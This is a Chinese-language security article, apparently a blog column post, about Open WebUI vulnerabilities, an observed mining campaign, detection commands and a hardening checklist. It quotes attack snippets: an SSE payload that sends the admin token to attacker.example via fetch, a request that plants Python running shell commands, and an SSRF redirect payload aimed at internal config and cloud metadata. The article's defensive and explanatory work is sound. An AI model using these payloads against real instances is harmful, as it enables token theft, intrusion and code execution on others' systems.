你以为 Open WebUI 只是个"自己搭的 ChatGPT 网页",接几个模型连接就完事。真实情况是:它公网活跃实例超过 1.7 万个,是扫描器眼里的高价值目标;而在一个真实攻击链里,你只要在设置里加了一个模型服务地址,受害者随便发一条消息,5 秒内管理员令牌就会被偷走、接着变成任意命令执行。
这篇把 Open WebUI 的安全面按"真漏洞 / 被厂商驳回的伪漏洞 / 设计内行为"三类拆开,给出最完整的那条利用链、三步检测命令、12 项加固清单,以及一个中文圈普遍踩的错误认知。先给结论:90% 的实际失陷不是被 0-day 打穿,而是"无认证 + 直接暴露公网 + 保留管理员"这套错配。
TL;DR
- 最完整的一条链是 CVE-2025-64496:前端对模型服务返回的 SSE
execute事件直接new Function(code)执行,攻击者用一条伪造流即可偷走管理员令牌,再调/api/v1/functions/create落地任意 Python,官方 PoC 全程不到 5 秒。 - 一批 SSRF 与越权洞(CVE-2025-65958、CVE-2026-45400/45401、CVE-2026-34222、CVE-2026-54015)已修复,升级到对应版本即可。
- 另一批"RCE"(CVE-2026-0765/0766)厂商判定为插件系统的预期行为,明确拒绝修复;把它们当漏洞写进预案,方向就错了。
- 真实在野攻击打的不是软件漏洞,而是错配:默认开放注册、保留默认管理员、直接映射到公网。
- 三条检测命令判断你是否中招:未登录能否读
/api/config、后台有没有陌生 Tool/Function、有没有异常出网与挖矿进程。
一、先给结论:三类风险,先修哪个
Open WebUI 的安全资料很乱,原因是把三类完全不同的东西混在一起说。先分类,才知道力气往哪使。
| 类别 | 代表编号 | 性质 | 你该做的 |
|---|---|---|---|
| 真漏洞(已修复) | CVE-2025-64495、64496、65958、65959、CVE-2026-45400、45401、54015、34222 | 代码缺陷,官方已发补丁 | 升级,这是唯一正解 |
| 被厂商驳回的伪漏洞 | CVE-2026-0765、0766(ZDI-26-031/032) | 厂商定性为插件系统预期行为,拒绝修复 | 按"设计内行为"处理:管住权限,而不是等补丁 |
| 设计内行为 | 任意 Tool / Function 代码执行 | 平台明确的功能 | 授予建 Tool 权限等于给出 shell,按这个前提做权限设计 |
这张表的意义在于:只有第一类能靠升级解决。第二、三类要靠权限与网络设计解决,等补丁永远等不到。
二、最完整的一条链:恶意模型服务器,5 秒拿到 RCE
CVE-2025-64496 是这批漏洞里链条最完整、也最值得精读的一个(受影响版本 ≤ 0.6.34,修复于 0.6.35,Cato CTRL 评分 CVSS 7.3)。
脆弱点在哪
前端处理模型服务返回的流式事件时,对 execute 类型的事件直接当代码跑。官方公告给出的原文片段是:
js
if (event.type === 'execute') {
const func = new Function(event.data.code);
await func();
}
公告对这一行的标注是 CRITICAL: Unsafe code execution。也就是说,模型服务这个"外部输入"可以直接往浏览器里送一段 JS 执行。
攻击怎么落地
攻击者不需要攻破 Open WebUI,只需要自己起一个"兼容 OpenAI 的模型服务",在 SSE 流里塞一段载荷:
css
data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.example/steal?t=' + localStorage.token)"}}}
触发条件也很轻:管理员在「设置 → 连接」里启用了 Direct Connections 并加入了攻击者地址,之后任何一位受害者发一条消息 即触发。公告特别指出,被窃取的 token 在默认配置下是长期有效的(expires_at: null)。
从偷 token 到执行命令
拿到管理员 token 之后,攻击者调用函数接口创建一段 Python:
bash
POST /api/v1/functions/create
{"id": "auto_exploit_<ts>", "name": "Auto Exploit", "content": "<含 subprocess.check_output(..., shell=True) 的 Python 源码>", "meta": {...}}
官方 PoC 的时间线是:第 0 秒受害者发消息,第 3 秒 token 外泄,第 4 秒拿到管理员权限并验证,注释里写着 Total time: < 5 seconds from first message。
这条链给所有 AI 平台运营者的教训是:模型服务地址不是"可信配置",它是外部输入。 只要你允许填任意 Base URL,就等于允许对方往你的浏览器里投递代码。
三、另外几条必须知道的链
其余已修复的漏洞,按被利用的难易排一下:
| 编号 | 类型 | 受影响版本 | 修复版本 | 一句话根因 |
|---|---|---|---|---|
| CVE-2025-64495 | 存储型 DOM XSS → 账户接管 → RCE | ≤ 0.6.34 | 0.6.35 | 提示词正文被塞进 innerHTML 且未净化,别人运行对应 / 命令时触发 |
| CVE-2025-65958 | SSRF | < 0.6.37 | 0.6.37 | /api/v1/retrieval/process/web 接受任意 URL,可打云元数据与内网 |
| CVE-2025-65959 | 存储型 XSS | ≤ 0.6.36 | 0.6.37 | Notes 导入 Markdown 内嵌恶意 SVG,下载 PDF 时窃取会话 token |
| CVE-2026-45401 | SSRF 绕过 | ≤ 0.9.4 | 0.9.5 | HTTP 3xx 重定向未逐跳复验,web-fetch / 图片加载 / 聊天链路都可打内网 |
| CVE-2026-45400 | SSRF 绕过 | < 0.9.5 | 0.9.5 | urlparse 与 requests 的解析差异绕过私网校验 |
| CVE-2026-34222 | 越权 | < 0.8.11 | 0.8.11 | Tool Valves 端点缺读权限校验,低权限成员可读到 Tool 里的第三方 API Key |
| CVE-2026-54015 | IDOR | < 0.9.6 | 0.9.6 | 提示词版本历史只校验 URL 里的 prompt_id,未校验 history_id 归属 |
CVE-2026-45401 的 PoC 值得单独看一眼,因为它普通用户就能打:
bash
POST /api/v1/retrieval/process/web
{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}
响应体里直接带出内网 /api/config 的内容。把重定向目标换成 http://<cloud-metadata-ip>/latest/meta-data/(云厂商元数据服务的链路本地地址),就是标准的云元数据窃取。更省事的一条是走聊天链路:普通 /api/chat/completions 里把 image_url 指向攻击者的重定向器,服务端拉图时会跟随 302 进内网,默认配置、无需管理员权限。
四、真实在野攻击:不打漏洞,打错配
比漏洞更值得警惕的,是已经被观测到的实网攻击。安全厂商 Sysdig 记录的一起事件里,攻击者入口不是软件缺陷,而是**"默认无认证 + 直接暴露公网 + 保留管理员"的错配组合**。
攻击手法很典型:
- 通过 Tools 插件系统上传伪装成默认模板的 Python 脚本,用混淆器处理,数据编码成多层递归 Base64。
- 外联走 Discord webhook 作为 C2 通道。
- 落地 T-Rex / XMRig 挖矿程序与信息窃取模块。
- Linux 上通过
LD_PRELOAD载入processhider/argvhider隐藏痕迹,并伪装成名为ptorch_updater的 systemd 服务常驻。
暴露面数据也支持这个判断:公开测绘显示 Open WebUI 公网活跃实例超过 1.7 万个,针对某个已修复漏洞的中文情报测绘甚至统计到全球关联风险资产 11 万个以上、IP 2.4 万个。
一句话:这类系统不该出现在公网上。 官方安全文档的定位写得很清楚:Open WebUI 是面向私有可信网络的内部工具。
五、检测:三步判断你是否中招
bash
curl -s http://<your-host>:8080/api/config | head -c 200 # 未登录能否读到配置
curl -s http://<your-host>:8080/api/models | head -c 200 # 与模型列表(读到 = 无认证暴露)
curl -s http://<your-host>:8080/api/v1/functions | head -c 400 # 有没有陌生的插件被创建
ss -tnp | grep -E "discord|:443" # 异常出站
systemctl list-units --type=service | grep -iE "ptorch|updater" # 伪装成系统服务
ps -eo pid,ppid,comm,args | grep -v grep | grep -iE "xmrig|t-rex|LD_PRELOAD" # 挖矿与隐藏进程
判断要点:/health 未认证返回 200 属于正常设计,不能 当作中招依据;真正要看的是未登录能否读到 /api/config、/api/models、/api/v1/functions。另外要记住一个容易忽略的点:在没有部署 Redis 的情况下,登出或改密并不会吊销已签发的 JWT(默认有效期 4 周),也就是说被盗的 token 会一直能用,这一点得靠审计登录日志来发现。
这三步之所以够用,是因为它们分别对应失陷的三个必要条件:入口 (无认证暴露)、落地 (陌生插件)、维持 (挖矿与隐藏进程)。三者里任何一个为真,都要立刻按应急顺序处理:先断公网入口,再轮换 WEBUI_SECRET_KEY(这个 key 既签 JWT、又派生 OAuth 加密密钥,泄露等于可以伪造任意令牌),然后清掉陌生插件,最后才去翻日志复盘。顺序反了,证据会被洗掉,事后无法判断对方进来多久、拿走了什么。
六、加固清单:12 项,按优先级排
下面的清单以官方加固指南为准,按"先堵最致命的"排序。
| # | 加固项 | 具体做法 | 堵住什么 |
|---|---|---|---|
| 1 | 升级到修复版本 | 64496/64495 → ≥0.6.35;65958/65959 → ≥0.6.37;45400/45401 → ≥0.9.5;54015 → ≥0.9.6;34222 → ≥0.8.11 | 已公开的全部真漏洞 |
| 2 | 网络隔离 | 放 VPN / 防火墙后,前面加反代做限流;绝不直接暴露公网 | 在野扫描与错配攻击 |
| 3 | 关掉开放注册 | 首个用户注册后关闭注册;必须开放时用 DEFAULT_USER_ROLE=pending 走管理员审批 |
陌生人自助进入 |
| 4 | 显式设置签名密钥 | WEBUI_SECRET_KEY=$(openssl rand -base64 32),多实例共用同一 key |
密钥泄露可伪造任意令牌 |
| 5 | 收紧会话 Cookie | WEBUI_SESSION_COOKIE_SECURE=true、WEBUI_SESSION_COOKIE_SAME_SITE=strict |
会话劫持 |
| 6 | 部署 Redis 支持令牌吊销 | 让登出、改密、停用即时失效;同时缩短 JWT_EXPIRES_IN |
被盗 token 长期有效 |
| 7 | 收窄 CORS | 默认是 *,改成自有域;不需要时指到 .invalid |
跨站读取接口 |
| 8 | 打开安全响应头 | 显式开启 X-Content-Type-Options、X-Frame-Options=DENY、HSTS、CSP(先 report-only) |
SVG / 富文本类 XSS |
| 9 | 关掉代码执行类开关 | ENABLE_CODE_EXECUTION=false、ENABLE_CODE_INTERPRETER=false、ENABLE_PIP_INSTALL_FRONTMATTER_REQUIREMENTS=false |
插件侧命令注入 |
| 10 | 管住建 Tool 权限 | workspace.tools 对非管理员关闭;按"给 shell"的严重度对待 |
设计内行为被滥用 |
| 11 | 容器与主机隔离 | --security-opt=no-new-privileges、数据目录 0700、只跑官方镜像;对云元数据地址段做出口限制 |
提权与元数据窃取 |
| 12 | 开审计并转发 | 打开 METADATA 级审计日志接入 SIEM,监控 CPU / 内存 / 出网异常 |
挖矿类失陷的早期发现 |
第 9、10 项是最容易被忽略的:很多人把"能装插件"当成普通功能开关,实际上在一个多用户实例里,它等价于把命令执行能力开放给所有被授权者。
七、一个重要提醒:别把"设计内行为"当漏洞
中文圈里流传最广的一个错误,是把 Open WebUI 的插件代码执行当成"未修复的高危 RCE"。事实是,安全厂商 ZDI 确实把两处提权为命令注入(CVE-2026-0765 把 frontmatter 里的 requirements 拼进 pip 安装命令、CVE-2026-0766 在加载 Tool 模块时执行用户提供的内容),CVSS 3.0 评到 8.8,并以 0-day 形式公开。
但 Open WebUI 官方明确反驳并拒绝修复,定性为插件系统的预期行为:一个被授予"提交插件"权限的用户,本来就能按平台设计提交可执行代码。
这个分歧对你有实际影响:如果你的加固预案里写着"等官方修复 CVE-2026-0765/0766",这个计划永远不会生效。 正确的动作是把权限模型当成安全边界:谁能建 Tool、谁不能,谁能跑 Function、谁不能。官方文档说得很直白,授予建 Tool 权限相当于给出 shell。
另外提醒一句时效问题:中文检索到的一些 Open WebUI 编号(例如曾被广泛引用的 CVE-2025-15603、CVE-2025-63391 及 2024-7033 系列中的部分条目)已被厂商或 CNNVD 撤回(REJECTED)。引用前先去官方 advisory 或 NVD 核对状态,别拿撤回编号写预案。
八、启示
- 模型服务地址是外部输入,不是可信配置。 只要允许填任意 Base URL,对方就能往你的浏览器投递代码。
- 失陷的主因是错配,不是 0-day。 无认证 + 公网 + 默认管理员,这三样凑齐,打不打漏洞都能进来。
- 区分"真漏洞 / 被拒伪漏洞 / 设计内行为"。 只有第一类能靠升级解决,另外两类只能靠权限设计。
- 插件权限等于 shell 权限。 多用户实例里,这是最该被审计的一项配置。
- 没有 Redis,token 偷走就收不回。 吊销能力本身也是一项安全配置。
原始出处
- 官方公告:GHSA-cm35-v4vp-5xvx(CVE-2025-64496)、GHSA-w7xj-8fx7-wfch(CVE-2025-64495)、GHSA-rh5x-h6pp-cjj6(CVE-2026-45401)、GHSA-7429-hxcv-268m(CVE-2026-34222)
- NVD:CVE-2025-65958
- ZDI 0-day:ZDI-26-031、ZDI-26-032
- 厂商立场:Open WebUI security policy、加固指南
- 在野利用:Sysdig 事件分析、Cato CTRL 分析
本文首发于 CSDN 专栏《人工智能Agent从部署到生产》。